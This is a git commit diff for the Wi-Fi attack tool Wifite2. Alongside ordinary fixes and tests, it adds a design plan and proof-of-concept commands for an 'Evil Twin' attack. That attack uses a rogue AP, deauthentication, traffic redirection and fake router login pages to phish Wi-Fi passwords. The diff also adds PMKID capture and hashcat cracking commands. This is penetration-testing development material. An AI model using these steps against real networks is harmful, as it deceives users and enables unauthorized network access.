2.1.8: Check hashcat tools before trying PMKID attack.

Should resolve #124.

Also, capturing PMKID will skip WPA handshake capture.

Dockerfile

@@ -3,7 +3,7 @@ FROM python:2.7.14-jessie
 ENV DEBIAN_FRONTEND noninteractive
 ENV HASHCAT_VERSION hashcat-3.6.0
 
-# Intall requirements
+# Install requirements
 RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list
 RUN apt-get update && apt-get upgrade -y
 RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y

EVILTWIN.md

@@ -0,0 +1,386 @@
+An idea from Sandman: Include "Evil Twin" attack in Wifite.
+
+This page tracks the requirements for such a feature.
+
+Evil Twin
+=========
+
+[Fluxion](https://github.com/FluxionNetwork/fluxion) is a popular example of this attack.
+
+The attack requires multiple wireless cards:
+
+1. Hosts the twin.
+2. Deauthenticates clients.
+
+As clients connect to the Evil Twin, they are redirected to a fake router login page.
+
+Clients enter the password to the target AP. The Evil Twin then:
+
+1. Captures the Wifi password,
+2. Verifies Wifi password against the target AP,
+3. If valid, all clients are deauthed from Evil Twin so they re-join the target AP.
+4. Otherwise, tell the user the password is invalid and to "try again". GOTO step #1.
+
+Below are all of the requirements/components that Wifite would need for this feature.
+
+
+DHCP
+====
+We need to auto-assign IP addresses to clients as they connect (via DHCP?).
+
+
+DNS Redirects
+=============
+All DNS requests need to redirect to the webserver:
+
+1. So we clients are encouraged to login.
+2. So we can intercept health-checks by Apple/Google
+
+
+Rogue AP, Server IP Address, etc
+================================
+Probably a few ways to do this in Linux; should use the most reliable & supported method.
+
+Mainly we need to:
+
+1. Spin up the Webserver on some port (8000)
+2. Start the Rogue AP
+3. Assign localhost on port 8000 to some subnet IP (192.168.1.254)
+4. Start DNS-redirecting all hostnames to 192.168.1.254.
+5. Start DHCP to auto-assign IPs to incoming clients.
+6. Start deauthing clients of the real AP.
+
+I think steps 3-5 can be applied to a specific wireless card (interface).
+
+* TODO: More details on how to start the fake AP, assign IPs, DHCP, DNS, etc.
+   * Fluxion using `hostapd`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L59-L64)
+   * Kali "Evil Wireless AP" (uses `hostapd`): [article](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/)
+   * Fluxion using `airbase-ng`: [code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/airbase-ng.sh#L76-L77)
+* TODO: Should the Evil Twin spoof the real AP's hardware MAC address?
+   * Yes, looks like that's what Fluxion does ([code](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/lib/ap/hostapd.sh#L66-L74)).
+
+
+ROGUE AP
+========
+Gleaned this info from:
+
+* ["Setting up wireless access point in Kali"](https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/) by PSAttack
+* ["Kali Linux Evil Wireless Access Point"](https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/) by OffensiveSecurity
+* ["SniffAir" hostapd script](https://github.com/Tylous/SniffAir/blob/master/module/hostapd.py)
+
+
+HOSTAPD
+-------
+* Starts access point.
+* Not included in Kali by-default.
+* Installable via `apt-get install hostapd`.
+* [Docs](https://wireless.wiki.kernel.org/en/users/documentation/hostapd)
+
+Config file format (e.g. `~/hostapd.conf`):
+
+```
+driver=nl80211   # 'nl80211' appears in all hostapd tutorials I've found.
+ssid=$EVIL_SSID  # SSID/name of Evil Twin (should match target's)
+hw_mode=$BAND    # Wifi Band, e.g. "g" or "g+n"
+channel=$CHANNEL # Numeric, e.g. "6'
+```
+
+Run:
+
+```
+hostapd ~/hostapd.conf -i wlan0
+```
+
+
+DNSMASQ
+-------
+
+* Included in Kali.
+* Installable via `apt-get install dnsmasq`
+* Handles DNS and DHCP.
+* [Install & Overview](http://www.thekelleys.org.uk/dnsmasq/doc.html), [Manpage](http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html)
+
+Config file format (e.g. `~/dnsmasq.conf`):
+
+```
+interface=wlan0
+dhcp-range=10.0.0.10,10.0.0.250,12h
+dhcp-option=3,10.0.0.1
+dhcp-option=6,10.0.0.1
+#no-resolv
+server=8.8.8.8
+log-queries
+log-dhcp
+
+# Redirect all requests (# is wildcard) to IP of evil web server:
+# TODO: We should rely on iptables, right? Otherwise this redirects traffic from all ports...
+#address=/#/192.168.1.254
+```
+
+"DNS Entries" file format (`~/dns_entries`):
+
+```
+[DNS Name] [IP Address]
+# TODO: Are wildcards are supported?
+* 192.168.1.254 # IP of web server
+```
+
+Run:
+
+```
+dnsmasq -C ~/dnsmasq.conf -H ~/dns_entries
+```
+
+IPTABLES
+--------
+From [this thread on raspberrypi.org](https://www.raspberrypi.org/forums/viewtopic.php?p=288263&sid=b6dd830c0c241a15ac0fe6930a4726c9#p288263)
+
+> *Use iptables to redirect all traffic directed at port 80 to the http server on the Pi*
+> `sudo iptables -t nat -A PREROUTING -d 0/0 -p tcp –dport 80 -j DNAT –to 192.168.1.254:80`
+
+And from Andreas Wiese on [UnixExchange](https://unix.stackexchange.com/a/125300)
+
+> *You could get this with a small set of iptables rules redirecting all traffic to port 80 and 443 your AP's address:*
+> `# iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination localhost:80`
+> `# iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination localhost:80`
+
+TODO:
+
+* What about HTTPS traffic (port 443)?
+   * We want to avoid browser warnings (scary in Chrome & Firefox).
+   * Don't think we can send a 302 redirect to port 80 without triggering the invalid certificate issue.
+   * sslstrip may get around this...
+
+
+DEAUTHING
+=========
+While hosting the Evil Twin + Web Server, we need to deauthenticate clients from the target AP so they join the Evil Twin.
+
+Listening
+---------
+We need to listen for more clients and automatically start deauthing new clients as they appear.
+
+This might be supported by existing tools...
+
+MDK
+---
+Deauthing & DoS is easy to do using [MDK](https://tools.kali.org/wireless-attacks/mdk3) or `aireplay-ng`.
+
+I think MDK is a better tool for this job, but Wifite already requires the `aircrack` suite, so we should support both.
+
+TODO: Require MDK if it is miles-ahead of `aireplay-ng`
+TODO: Figure out MDK commands for persistent deauths; if we can provide a list of client MAC addresses & BSSIDs.
+
+
+Website
+=======
+
+Router Login Pages
+------------------
+These are different for every vendor.
+
+Fluxion has a repo with fake login pages for a lot of popular router vendors ([FluxionNetwork/sites](https://github.com/FluxionNetwork/sites)). That repo includes sites in various languages.
+
+We need just the base router page HTML (Title/logo) and CSS (colors/font) for popular vendors.
+
+We also need a "generic" login page in case we don't have the page for a vendor.
+
+1. Web server to host HTML, images, fonts, and CSS that the vendor uses.
+3. Javascript to send the password to the webserver
+
+
+Language Support
+----------------
+Note: Users should choose the language to host; they know better than any script detection.
+
+Each router page will have a warning message telling the client they need to enter the Wifi password:
+   * "Password is required after a router firmware update"
+
+The Login page content (HTML/images/css) could be reduced to just the logo and warning message. No navbars/sidebars/links to anything else.
+
+Then only the warning message needs to be templatized by-language (we only need one sentence per language).
+
+That would avoid the need for separate "sites" for each Vendor *and* language.
+
+But we probably need other labels to be translated as well:
+
+* Title of page ("Router Login Page")
+* "Password:"
+* "Re-enter Password:"
+* "Reconnect" or "Login"
+
+...So 5 sentences per language. Not bad.
+
+The web server could send a Javascript file containing the language variable values:
+
+```javascript
+document.title = 'Router Login';
+document.querySelector('#warn').textContent('You need to login after router firmware upgrade.');
+document.querySelector('#pass').textContent('Password:');
+// ...
+```
+
+
+One HTML File
+-------------
+We can compact everything into a single HTML file:
+
+1. Inline CSS
+2. Inline images (base64 image/jpg)
+3. Some placeholders for the warning message, password label, login button.
+
+This would avoid the "lots of folders" problem; one folder for all .html files.
+
+E.g. `ASUS.html` can be chosen when the target MAC vendor contains `ASUS`.
+
+
+AJAX Password Submission
+------------------------
+The website needs to send the password to the webserver, likely through some endpoint (e.g. `./login.cgi?password1=...&password2=...`).
+
+Easy to do in Javascript (via a simple `<form>` or even `XMLHttpRequest`).
+
+
+Webserver
+=========
+The websites served by the webserver is dynamic and depends on numerous variables.
+
+We want to utilize the CGIHTTPServer in Python which would make some the logic easier to track.
+
+
+Spoofing Health Checks
+----------------------
+Some devices (Android, iOS, Windows?) verify the AP has an internet connection by requesting some externally-hosted webpage.
+
+We want to spoof those webpages *exactly* so the client's device shows the Evil Twin as "online".
+
+Fluxion does this [here](https://github.com/FluxionNetwork/fluxion/tree/master/attacks/Captive%20Portal/lib/connectivity%20responses) (called *"Connectivity Responses"*).
+
+Specifically [in the `lighttpd.conf` here](https://github.com/FluxionNetwork/fluxion/blob/16965ec192eb87ae40c211d18bf11bb37951b155/attacks/Captive%20Portal/attack.sh#L687-L698).
+
+Requirements:
+
+* Webserver detects requests to these health-check pages and returns the expected response (HTML, 204, etc).
+
+TODO: Go through Fluxion to know hostnames/paths and expected responses for Apple & Google devices.
+
+
+HTTPS
+-----
+What if Google, Apple requires HTTPS? Can we spoof the certs somehow? Or redirect to HTTP?
+
+
+Spoofing Router Login Pages
+---------------------------
+We can detect the router vendor based on the MAC address.
+
+If we have a fake login page for that vendor, we serve that.
+
+Otherwise we serve a generic login page.
+
+TODO: Can we use macchanger to detect vendor, or have some mapping of `BSSID_REGEX -> HTML_FILE`?
+
+
+Password Capture
+----------------
+Webserver needs to know when a client enters a password.
+
+This can be accomplished via a simple CGI endpoint or Python script.
+
+E.g. `login.cgi` which reads `password1` and `password2` from the query string.
+
+
+Password Validation
+-------------------
+The Webserver needs to know when the password is valid.
+
+This requires connecting to the target AP on an unused wireless card:
+
+1. First card is hosting the webserver. It would be awkward if that went down.
+2. Second card is Deauthing clients. This could be 'paused' while validating the password, but that may allow clients to connect to the target AP.
+3. ...A third wifi card may make this cleaner.
+
+TODO: The exact commands to verify Wifi passwords in Linux; I'm guessing we have to use `wpa_supplicant` and the like.
+TODO: Choose the fastest & most-relaiable method for verifying wifi paswords
+
+
+Evil Webserver & Deauth Communication
+-------------------------------------
+The access point hosting the Evil Twin needs to communicate with the Deauth mechanism:
+
+1. Which BSSIDs to point to the Evil Twin,
+2. Which BSSIDs to point to the real AP.
+
+Since the webserver needs to run for the full length of th attack, we could control the state of the attack inside the webserver.
+
+So the webserver would need to maintain:
+
+1. List of BSSIDs to deauth from real AP (so they join Evil Twin),
+2. List of BSSIDs to deauth from Evil Twin (so they join real AP),
+3. Background process which is deauthing the above BSSIDs on a separate wireless card.
+
+I am not sure how feasible this is in Python; we could also resort to using static files to store the stage (e.g. JSON file with BSSIDs and current step -- e.g. "Shutting down" or "Waiing for password").
+
+TODO: See if the CGIHTTPServer has some way we can maintain/alter background threads.
+TODO: See how hard it would be to maintain state in the CGIHTTPServer (do we have to use the filesystem?)
+
+
+Success & Cleanup
+-----------------
+When the password is found, we want to send a "success" message to the AJAX request, so the user gets instant feedback (and maybe a "Reconnecting..." message).
+
+During shutdown, we need to deauth all clients from the Evil Twin so they re-join the real AP.
+
+This deauthing should continue until all clients are deauthenticated from the Evil Twin.
+
+Then the script can be stopped.
+
+
+Proof of Concept
+================
+
+Start AP and capture all port-80 traffic:
+
+```
+ifconfig wlan0 10.0.0.1/24 up
+
+# start dnsmasq for dhcp & dns resolution (runs in background)
+killall dnsmasq
+dnsmasq -C dnsmasq.conf
+
+# reroute all port-80 traffic to our machine
+iptables -N internet -t mangle
+iptables -t mangle -A PREROUTING -j internet
+iptables -t mangle -A internet -j MARK --set-mark 99
+iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
+echo "1" > /proc/sys/net/ipv4/ip_forward
+iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
+iptables -A FORWARD -m mark --mark 99 -j REJECT
+iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
+iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+
+# start wifi access point (new terminal)
+killall hostapd
+hostapd ./hostapd.conf -i wlan0
+
+# start webserver on port 80 (new terminal)
+python -m SimpleHTTPServer 80
+```
+
+Cleanup:
+
+```
+# stop processes
+# ctrl+c hostapd
+# ctrl+c python simple http server
+killall dnsmasq
+
+# reset iptables
+iptables -F
+iptables -X
+iptables -t nat -F
+iptables -t nat -X
+iptables -t mangle -F
+iptables -t mangle -X
+```
+

PMKID.md

@@ -0,0 +1,33 @@
+### PMKID Attack
+
+See https://hashcat.net/forum/thread-7717.html
+
+### Steps
+
+1. Start `hcxdumptool` (daemon)
+   * `sudo hcxdumptool -i wlan1mon -o pmkid.pcapng -t 10 --enable_status=1`
+   * Should also use `-c <channel>`, `--filterlist` and `--filtermode` to target a specific client
+   * Could be a new attack type: `wifite.attack.pmkid`
+2. Detect when PMKID is found.
+   * `hcxpcaptool -z pmkid.16800 pmkid.pcapng`
+   * Single-line in pmkid.16800 will have PMKID, MACAP, MACStation, ESSID (in hex).
+3. Save `.16800` file (to `./hs/`? or `./pmkids/`?)
+   * New result type: `pmkid_result`
+   * Add entry to `cracked.txt`
+4. Run crack attack using hashcat:
+   * `./hashcat64.bin --force -m 16800 -a0 -w2 path/to/pmkid.16800 path/to/wordlist.txt`
+
+### Problems
+
+* Requires latest hashcat to be installed. This might be in a different directory.
+   * Use can specify path to hashcat? Yeck...
+   * % hashcat -h | grep 16800
+   * 16800 | WPA-PMKID-PBKDF2
+* If target can't be attacked... we need to detect this failure mode.
+   * Might need to scrape `hcxdumptool`'s output
+   * Look at `pmkids()` func in .bashrc
+   * hcxpcaptool -z OUTPUT.16800 INPUT.pcapng > /dev/null
+   * Check OUTPUT.16800 for the ESSID.
+* Wireless adapter support is minimal, apparently.
+* hcxdumptool also deauths networks and captures handshakes... maybe unnecessarily
+

README.md

@@ -34,7 +34,7 @@ What's gone in Wifite2?
 What's not new?
 ---------------
 
-* (Mostly) Backwards compatibile with the original `wifite`'s arguments.
+* (Mostly) Backwards compatible with the original `wifite`'s arguments.
 * Same text-based interface everyone knows and loves.
 
 Brief Feature List
@@ -71,7 +71,7 @@ Only the latest versions of these programs are supported:
 * `iwconfig`: For identifying wireless devices already in Monitor Mode.
 * `ifconfig`: For starting/stopping wireless devices.
 * `Aircrack-ng` suite, includes:
-   * `aircrack-ng`: For cracking WEP .cap files and and WPA handshake captures.
+   * `aircrack-ng`: For cracking WEP .cap files and WPA handshake captures.
    * `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks.
    * `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices.
    * `airodump-ng`: For target scanning & capture file generation.

TODO.md

@@ -4,6 +4,29 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif
 
 ------------------------------------------------------
 
+### Better Dependency Handling
+I can rely on `pip` + `requirements.txt` for python libraries, but most of wifite's dependencies are installed programs.
+
+When a dependency is not found, Wifite should walk the user through installing all required dependencies, and maybe the optional dependencies as well.
+
+The dependency-installation walkthrough should provide or auto-execute the install commands (`git clone`, `wget | tar && ./config`, etc).
+
+Since we have a Python script for every dependency (under `wifite/tools/` or `wifite/util/`), we use Python's multiple-inheritance to achieve this.
+
+Requirements:
+
+1. A base *Dependency* class
+   * `@abstractmethods` for `exists()`, `name()`, `install()`, `print_install()`
+2. Update all dependencies to inherit *Dependency*
+   * Override abstract methods
+3. Dependency-checker to run at Wifite startup.
+   * Check if all required dependencies exists.
+   * If required deps are missing, Prompt to install all (optional+required) or just required, or to continue w/o install with warning.
+   * If optional deps are missing, suggest `--install` without prompting.
+   * Otherwise continue silently.
+
+------------------------------------------------------
+
 ### Support Other Distributions (not just Kali x86/64)
 
 Off the top of my head:
@@ -220,7 +243,7 @@ Not "/py":
 
 **AIRCRACK**
 * Start aircrack-ng for WEP: Needs pcap file with IVS
-* Start aircrack-ng for WPA: Needs pcap file containig Handshake
+* Start aircrack-ng for WPA: Needs pcap file containing Handshake
 * Check status of aircrack-ng (`percenage`, `keys-tried`)
 * Return cracked key
 

Wifite.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python
+#!/usr/bin/env python
 
 from wifite import wifite
 

tests/files/airodump-weird-ssids.csv

@@ -0,0 +1,13 @@
+
+BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10,  54, WPA2, CCMP,PSK, -34,        5,        0,   0.  0.  0.  0,  24, Comma\, no trailing space, 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10,  54, WPA2, CCMP,PSK, -35,       18,        0,   0.  0.  0.  0,  20, \"Quoted ESSID\, Comma\, no trailing spaces.   \", 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10,  54, WPA2, CCMP,PSK, -31,       12,        0,   0.  0.  0.  0,  22, "Comma\, Trailing space ", 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10,  54, WPA2, CCMP,PSK, -29,       15,        0,   0.  0.  0.  0,  30, "\"quote\" comma\, trailing space ", 
+AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10,  54, WPA2, CCMP,PSK, -20,       43,        0,   0.  0.  0.  0,  19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 
+
+
+
+
+Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
+

tests/test_Airmon.py

@@ -0,0 +1,24 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import sys
+sys.path.insert(0, '..')
+
+from wifite.tools.airmon import Airmon
+
+import unittest
+
+class TestAirmon(unittest.TestCase):
+    def test_airmon_start(self):
+        # From https://github.com/derv82/wifite2/issues/67
+        stdout = '''
+PHY    Interface    Driver        Chipset
+
+phy0    wlan0        iwlwifi        Intel Corporation Centrino Ultimate-N 6300 (rev 3e)
+
+        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
+        (mac80211 station mode vif disabled for [phy0]wlan0)
+'''
+        mon_iface = Airmon._parse_airmon_start(stdout)
+        assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface)
+

tests/test_Airodump.py

@@ -0,0 +1,52 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import sys
+sys.path.insert(0, '..')
+
+from wifite.tools.airodump import Airodump
+
+import unittest
+
+class TestAirodump(unittest.TestCase):
+    ''' Test suite for Wifite's interaction with the Airodump tool '''
+
+
+    def test_airodump_weird_characters(self):
+        csv_filename = self.getFile('airodump-weird-ssids.csv')
+        targets = Airodump.get_targets_from_csv(csv_filename)
+
+        target = targets[0]
+        expected = 'Comma, no trailing space'
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[1]
+        expected = '"Quoted ESSID, Comma, no trailing spaces.   "'
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[2]
+        expected = 'Comma, Trailing space '
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        target = targets[3]
+        expected = '"quote" comma, trailing space '
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+
+        # Hidden access point
+        target = targets[4]
+        assert target.essid_known == False, 'ESSID full of null characters should not be known'
+        expected = None
+        assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid)
+        assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len
+
+
+    def getFile(self, filename):
+        ''' Helper method to parse targets from filename '''
+        import os, inspect
+        this_file = os.path.abspath(inspect.getsourcefile(self.getFile))
+        this_dir = os.path.dirname(this_file)
+        return os.path.join(this_dir, 'files', filename)
+
+
+if __name__ == '__main__':
+    unittest.main()

tests/test_Handshake.py

@@ -1,10 +1,11 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 import sys
 sys.path.insert(0, '..')
 
 from wifite.model.handshake import Handshake
+from wifite.util.process import Process
 
 import unittest
 
@@ -23,25 +24,29 @@ class TestHandshake(unittest.TestCase):
         hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
         try:
             hs.analyze()
-        except Exception, e:
+        except Exception:
             fail()
 
+    @unittest.skipUnless(Process.exists('tshark'), 'tshark is missing')
     def testHandshakeTshark(self):
         hs_file = self.getFile('handshake_exists.cap')
         hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
         assert(len(hs.tshark_handshakes()) > 0)
 
+    @unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing')
     def testHandshakePyrit(self):
         hs_file = self.getFile('handshake_exists.cap')
         hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
         assert(len(hs.pyrit_handshakes()) > 0)
 
+    @unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing')
     def testHandshakeCowpatty(self):
         hs_file = self.getFile('handshake_exists.cap')
         hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
         hs.divine_bssid_and_essid()
         assert(len(hs.cowpatty_handshakes()) > 0)
 
+    @unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')
     def testHandshakeAircrack(self):
         hs_file = self.getFile('handshake_exists.cap')
         hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')

tests/test_Target.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from wifite.tools.airodump import Airodump

wifite/args.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from .util.color import Color
@@ -37,6 +37,9 @@ class Arguments(object):
         wps_group = parser.add_argument_group('WPS')
         self._add_wps_args(wps_group)
 
+        eviltwin_group = parser.add_argument_group('EVIL TWIN')
+        self._add_eviltwin_args(eviltwin_group)
+
         commands_group = parser.add_argument_group('COMMANDS')
         self._add_command_args(commands_group)
 
@@ -49,14 +52,14 @@ class Arguments(object):
             action='count',
             default=0,
             dest='verbose',
-            help=Color.s('Shows more options ({C}-h -v{W}). Prints tool outputs. (default: {G}quiet{W})'))
+            help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and outputs. (default: {G}quiet{W})'))
 
         glob.add_argument('-i',
             action='store',
             dest='interface',
             metavar='[interface]',
             type=str,
-            help=Color.s('Wireless interface to use (default: {G}ask{W})'))
+            help=Color.s('Wireless interface to use (default: {G}choose first or ask{W})'))
 
         glob.add_argument('-c',
             action='store',
@@ -67,7 +70,7 @@ class Arguments(object):
         glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
 
         glob.add_argument('-mac',
-            '---random-mac',
+            '--random-mac',
             action='store_true',
             dest='random_mac',
             help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
@@ -118,6 +121,11 @@ class Arguments(object):
             help=self._verbose('Hides targets with ESSIDs that match the given text'))
         glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store', dest='ignore_essid', type=str)
 
+        glob.add_argument('--clients-only', '-co',
+            action='store_true',
+            dest='clients_only',
+            help=Color.s('Only show targets that have associated clients (default: {G}off{W})'))
+
         glob.add_argument('--showb',
             action='store_true',
             dest='show_bssids',
@@ -139,6 +147,15 @@ class Arguments(object):
             help=self._verbose('Number of deauth packets to send (default: {G}%d{W})' % self.config.num_deauths))
 
 
+    def _add_eviltwin_args(self, group):
+        group.add_argument('-ev',
+            '--eviltwin',
+            action='store_true',
+            dest='use_eviltwin',
+            help=Color.s('Use the "Evil Twin" attack against all targets (default: {G}off{W})'))
+        # TODO: Args to specify deauth interface, server port, etc.
+
+
     def _add_wep_args(self, wep):
         # WEP
         wep.add_argument('--wep',
@@ -154,6 +171,12 @@ class Arguments(object):
         wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
         wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true', dest='require_fakeauth')
 
+        wep.add_argument('--keep-ivs',
+            action='store_true',
+            dest='wep_keep_ivs',
+            default=False,
+            help=Color.s('Retain .IVS files and reuse when cracking (default: {G}off{W})'))
+
         wep.add_argument('--pps',
             action='store',
             dest='wep_pps',
@@ -292,56 +315,55 @@ class Arguments(object):
             dest='wps_filter',
             help=Color.s('Filter to display only WPS-enabled networks'))
         wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
+
         wps.add_argument('--bully',
             action='store_true',
             dest='use_bully',
             help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
+        # Alias
+        wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
+
         wps.add_argument('--no-wps',
             action='store_true',
             dest='no_wps',
             help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
+
         wps.add_argument('--wps-only',
             action='store_true',
             dest='wps_only',
             help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
+        # Alias
+        wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only')
 
-        # Same as --wps-only
-        wps.add_argument('--pixie',
-            help=argparse.SUPPRESS,
-            action='store_true',
-            dest='wps_only')
-
-        wps.add_argument('--pixiet',
+        # Time limit on entire attack.
+        wps.add_argument('--wps-time',
             action='store',
             dest='wps_pixie_timeout',
-            metavar='[seconds]',
+            metavar='[sec]',
             type=int,
-            help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
-        wps.add_argument('--pixiest',
-            action='store',
-            dest='wps_pixie_step_timeout',
-            metavar='[seconds]',
-            type=int,
-            help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout))
-        wps.add_argument('--wpsmf',
+            help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
+        # Alias
+        wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int)
+
+        # Maximum number of "failures" (WPSFail)
+        wps.add_argument('--wps-fails',
             action='store',
             dest='wps_fail_threshold',
-            metavar='[fails]',
+            metavar='[num]',
             type=int,
-            help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold))
-        wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
-        wps.add_argument('--wpsmt',
+            help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
+        # Alias
+        wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
+
+        # Maximum number of "timeouts"
+        wps.add_argument('--wps-timeouts',
             action='store',
             dest='wps_timeout_threshold',
-            metavar='[timeouts]',
+            metavar='[num]',
             type=int,
-            help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold))
-        wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
-        wps.add_argument('--ignore-ratelimit',
-            action='store_false',
-            dest='wps_skip_rate_limit',
-            help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
-        wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
+            help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold))
+        # Alias
+        wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
 
 
     def _add_command_args(self, commands):

wifite/attack/all.py

@@ -0,0 +1,105 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from .wep import AttackWEP
+from .wpa import AttackWPA
+from .wps import AttackWPS
+from .pmkid import AttackPMKID
+from ..config import Configuration
+from ..util.color import Color
+from ..util.input import raw_input
+
+class AttackAll(object):
+
+    @classmethod
+    def attack_multiple(cls, targets):
+        attacked_targets = 0
+        targets_remaining = len(targets)
+        for index, target in enumerate(targets, start=1):
+            attacked_targets += 1
+            targets_remaining -= 1
+
+            bssid = target.bssid
+            essid = target.essid if target.essid_known else "{O}ESSID unknown{W}"
+
+            Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
+                     ' starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))
+
+            should_continue = cls.attack_single(target, targets_remaining)
+            if not should_continue:
+                break
+
+        return attacked_targets
+
+    @classmethod
+    def attack_single(cls, target, targets_remaining):
+        attacks = []
+
+        if Configuration.use_eviltwin:
+            pass  # TODO:EvilTwin attack
+
+        elif 'WEP' in target.encryption:
+            attacks.append(AttackWEP(target))
+
+        elif 'WPA' in target.encryption:
+            # WPA can have multiple attack vectors
+            if target.wps:
+                attacks.append(AttackWPS(target))
+            attacks.append(AttackPMKID(target))
+            attacks.append(AttackWPA(target))
+
+        if len(attacks) == 0:
+            Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
+            return
+
+        for attack in attacks:
+            try:
+                result = attack.run()
+                if result:
